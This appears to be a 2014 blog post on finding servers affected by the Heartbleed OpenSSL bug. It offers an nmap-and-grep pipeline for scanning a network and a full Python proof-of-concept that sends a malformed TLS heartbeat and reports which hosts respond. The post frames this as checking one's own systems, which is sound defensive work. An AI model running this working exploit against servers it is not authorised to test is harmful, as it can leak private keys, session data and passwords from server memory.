Wednesday, April 9, 2014

heartbleed hackness

yeah. this is a big deal. this is one way to figure out what systems on your network are subject to the newly published openssl bug.
 nmap -oG host -PS -p 443 -p 443 host  
 grep 'filtered\|open' host > /tmp/host.grep  
 grep -Eo '([0-9]{1,3}\.){3}[0-9]{1,3}' host.grep > host.grep.sane  
 for i in `cat host.grep.sane` ; do heartbleed.py $i -p 443 ; done >> host.grep.sane.heart  
 grep '|VULNERABLE' host.grep.sane.heart > /tmp/host.vuln   
less host.vuln 
 #!/usr/bin/python  
   
 import sys  
 import struct  
 import socket  
 import time  
 import select  
 import re  
 from optparse import OptionParser  
   
 target = None  
   
 options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')  
 options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')  
   
 def h2bin(x):  
   return x.replace(' ', '').replace('\n', '').decode('hex')  
   
 hello = h2bin('''  
 16 03 02 00 dc 01 00 00 d8 03 02 53  
 43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf  
 bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00  
 00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88  
 00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c  
 c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09  
 c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44  
 c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c  
 c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11  
 00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04  
 03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19  
 00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08  
 00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13  
 00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00  
 00 0f 00 01 01                   
 ''')  
   
 hb = h2bin('''   
 18 03 02 00 03  
 01 40 00  
 ''')  
   
 def hexdump(s):  
   for b in xrange(0, len(s), 16):  
     lin = [c for c in s[b : b + 16]]  
     hxdat = ' '.join('%02X' % ord(c) for c in lin)  
     pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)  
     print ' %04x: %-48s %s' % (b, hxdat, pdat)  
   print  
   
 def recvall(s, length, timeout=5):  
   endtime = time.time() + timeout  
   rdata = ''  
   remain = length  
   while remain > 0:  
     rtime = endtime - time.time()   
     if rtime < 0:  
       return None  
     r, w, e = select.select([s], [], [], 5)  
     if s in r:  
       data = s.recv(remain)  
       # EOF?  
       if not data:  
         return None  
       rdata += data  
       remain -= len(data)  
   return rdata  
       
   
 def recvmsg(s):  
   hdr = recvall(s, 5)  
   if hdr is None:  
     return None, None, None  
   typ, ver, ln = struct.unpack('>BHH', hdr)  
   pay = recvall(s, ln, 10)  
   if pay is None:  
     return None, None, None  
    
   return typ, ver, pay  
   
 def hit_hb(s):  
   global target  
   s.send(hb)  
   while True:  
     typ, ver, pay = recvmsg(s)  
     if typ is None:  
       print target + '|NOT VULNERABLE'  
       return False  
   
     if typ == 24:  
       if len(pay) > 3:  
         print target + '|VULNERABLE'  
       else:  
         print target + '|NOT VULNERABLE'  
       return True  
   
     if typ == 21:  
       print target + '|NOT VULNERABLE'  
       return False  
   
 def main():  
   global target  
   opts, args = options.parse_args()  
   if len(args) < 1:  
     options.print_help()  
     return  
   
   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
   sys.stdout.flush()  
   s.connect((args[0], opts.port))  
   target = args[0]  
   sys.stdout.flush()  
   s.send(hello)  
   sys.stdout.flush()  
   while True:  
     typ, ver, pay = recvmsg(s)  
     if typ == None:  
       return  
     # Look for server hello done message.  
     if typ == 22 and ord(pay[0]) == 0x0E:  
       break  
   
   sys.stdout.flush()  
   s.send(hb)  
   hit_hb(s)  
   
 if __name__ == '__main__':  
   main()  
   
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